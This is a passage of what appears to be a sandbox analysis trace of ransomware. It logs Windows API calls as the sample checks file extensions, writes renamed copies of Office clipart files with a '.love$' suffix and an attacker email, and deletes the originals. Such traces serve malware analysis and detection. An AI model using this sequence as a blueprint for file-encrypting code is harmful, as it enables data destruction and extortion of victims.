lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.737] lstrlenW (lpString=".doc") returned 4 [0256.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.737] lstrlenW (lpString=".docx") returned 5 [0256.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.737] lstrlenW (lpString=".pdf") returned 4 [0256.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.737] lstrlenW (lpString=".xls") returned 4 [0256.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.738] lstrlenW (lpString=".xlsx") returned 5 [0256.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.738] lstrlenW (lpString=".ppt") returned 4 [0256.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.738] lstrlenW (lpString=".zip") returned 4 [0256.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.738] lstrlenW (lpString=".rar") returned 4 [0256.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.738] lstrlenW (lpString=".bz2") returned 4 [0256.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.738] lstrlenW (lpString=".7z") returned 3 [0256.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.738] lstrlenW (lpString=".dbf") returned 4 [0256.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.738] lstrlenW (lpString=".1cd") returned 4 [0256.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0256.738] lstrlenW (lpString=".jpg") returned 4 [0256.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.739] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.739] lstrlenW (lpString="HH00636_.WMF") returned 12 [0256.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0256.740] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=1568) returned 1 [0256.740] CloseHandle (hObject=0x450) returned 1 [0256.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0256.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0256.741] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.741] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0256.743] GetLastError () returned 0x0 [0256.743] ReadFile (in: hFile=0x450, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x620, lpOverlapped=0x0) returned 1 [0256.755] WriteFile (in: hFile=0x42c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x630, lpOverlapped=0x0) returned 1 [0256.803] ReadFile (in: hFile=0x450, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.803] WriteFile (in: hFile=0x42c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.803] SetEndOfFile (hFile=0x42c) returned 1 [0256.803] CloseHandle (hObject=0x42c) returned 1 [0256.804] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.804] SetEndOfFile (hFile=0x450) returned 1 [0256.811] CloseHandle (hObject=0x450) returned 1 [0256.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0256.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.813] lstrlenW (lpString=".doc") returned 4 [0256.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.814] lstrlenW (lpString=".docx") returned 5 [0256.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.814] lstrlenW (lpString=".pdf") returned 4 [0256.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.814] lstrlenW (lpString=".xls") returned 4 [0256.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.814] lstrlenW (lpString=".xlsx") returned 5 [0256.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.814] lstrlenW (lpString=".ppt") returned 4 [0256.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.814] lstrlenW (lpString=".zip") returned 4 [0256.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.814] lstrlenW (lpString=".rar") returned 4 [0256.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.814] lstrlenW (lpString=".bz2") returned 4 [0256.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.814] lstrlenW (lpString=".7z") returned 3 [0256.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.814] lstrlenW (lpString=".dbf") returned 4 [0256.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.814] lstrlenW (lpString=".1cd") returned 4 [0256.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.814] lstrlenW (lpString=".jpg") returned 4 [0256.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.815] lstrlenW (lpString=".doc") returned 4 [0256.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.815] lstrlenW (lpString=".docx") returned 5 [0256.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.815] lstrlenW (lpString=".pdf") returned 4 [0256.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.815] lstrlenW (lpString=".xls") returned 4 [0256.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.815] lstrlenW (lpString=".xlsx") returned 5 [0256.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.815] lstrlenW (lpString=".ppt") returned 4 [0256.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.815] lstrlenW (lpString=".zip") returned 4 [0256.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.815] lstrlenW (lpString=".rar") returned 4 [0256.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.815] lstrlenW (lpString=".bz2") returned 4 [0256.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.815] lstrlenW (lpString=".7z") returned 3 [0256.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.815] lstrlenW (lpString=".dbf") returned 4 [0256.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.816] lstrlenW (lpString=".1cd") returned 4 [0256.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0256.816] lstrlenW (lpString=".jpg") returned 4 [0256.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.816] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.816] lstrlenW (lpString="HH00681_.WMF") returned 12 [0256.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0256.817] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=9300) returned 1 [0256.817] CloseHandle (hObject=0x450) returned 1 [0256.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0256.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0256.818] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.818] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0256.819] GetLastError () returned 0x0 [0256.819] ReadFile (in: hFile=0x450, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x2454, lpOverlapped=0x0) returned 1 [0256.871] WriteFile (in: hFile=0x42c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2460, lpOverlapped=0x0) returned 1 [0256.872] ReadFile (in: hFile=0x450, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.872] WriteFile (in: hFile=0x42c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.872] SetEndOfFile (hFile=0x42c) returned 1 [0256.877] CloseHandle (hObject=0x42c) returned 1 [0256.877] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.877] SetEndOfFile (hFile=0x450) returned 1 [0257.137] CloseHandle (hObject=0x450) returned 1 [0257.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0257.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.165] lstrlenW (lpString=".doc") returned 4 [0257.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.165] lstrlenW (lpString=".docx") returned 5 [0257.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.165] lstrlenW (lpString=".pdf") returned 4 [0257.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.165] lstrlenW (lpString=".xls") returned 4 [0257.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.165] lstrlenW (lpString=".xlsx") returned 5 [0257.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.166] lstrlenW (lpString=".ppt") returned 4 [0257.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.166] lstrlenW (lpString=".zip") returned 4 [0257.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.166] lstrlenW (lpString=".rar") returned 4 [0257.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.166] lstrlenW (lpString=".bz2") returned 4 [0257.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.166] lstrlenW (lpString=".7z") returned 3 [0257.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.166] lstrlenW (lpString=".dbf") returned 4 [0257.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.166] lstrlenW (lpString=".1cd") returned 4 [0257.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.166] lstrlenW (lpString=".jpg") returned 4 [0257.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.166] lstrlenW (lpString=".doc") returned 4 [0257.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.166] lstrlenW (lpString=".docx") returned 5 [0257.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.167] lstrlenW (lpString=".pdf") returned 4 [0257.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.167] lstrlenW (lpString=".xls") returned 4 [0257.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.167] lstrlenW (lpString=".xlsx") returned 5 [0257.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.167] lstrlenW (lpString=".ppt") returned 4 [0257.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.167] lstrlenW (lpString=".zip") returned 4 [0257.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.167] lstrlenW (lpString=".rar") returned 4 [0257.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.167] lstrlenW (lpString=".bz2") returned 4 [0257.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.167] lstrlenW (lpString=".7z") returned 3 [0257.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.167] lstrlenW (lpString=".dbf") returned 4 [0257.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.167] lstrlenW (lpString=".1cd") returned 4 [0257.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0257.167] lstrlenW (lpString=".jpg") returned 4 [0257.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.168] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0257.168] lstrlenW (lpString="HH01015_.WMF") returned 12 [0257.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0257.169] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=1148) returned 1 [0257.169] CloseHandle (hObject=0x450) returned 1 [0257.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0257.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0257.170] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.170] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0257.184] GetLastError () returned 0x0 [0257.184] ReadFile (in: hFile=0x450, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x47c, lpOverlapped=0x0) returned 1 [0257.201] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x480, lpOverlapped=0x0) returned 1 [0257.202] ReadFile (in: hFile=0x450, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.202] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.202] SetEndOfFile (hFile=0x528) returned 1 [0257.202] CloseHandle (hObject=0x528) returned 1 [0257.202] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.202] SetEndOfFile (hFile=0x450) returned 1 [0257.205] CloseHandle (hObject=0x450) returned 1 [0257.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0257.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.207] lstrlenW (lpString=".doc") returned 4 [0257.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString=".docx") returned 5 [0257.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.207] lstrlenW (lpString=".pdf") returned 4 [0257.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString=".xls") returned 4 [0257.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.207] lstrlenW (lpString=".xlsx") returned 5 [0257.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.207] lstrlenW (lpString=".ppt") returned 4 [0257.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.207] lstrlenW (lpString=".zip") returned 4 [0257.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.207] lstrlenW (lpString=".rar") returned 4 [0257.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString=".bz2") returned 4 [0257.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString=".7z") returned 3 [0257.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.208] lstrlenW (lpString=".dbf") returned 4 [0257.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.208] lstrlenW (lpString=".1cd") returned 4 [0257.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.208] lstrlenW (lpString=".jpg") returned 4 [0257.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0257.208] lstrlenW (lpString=".doc") returned 4 [0257.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString=".docx") returned 5 [0257.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.208] lstrlenW (lpString=".pdf") returned 4 [0257.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString=".xls") returned 4 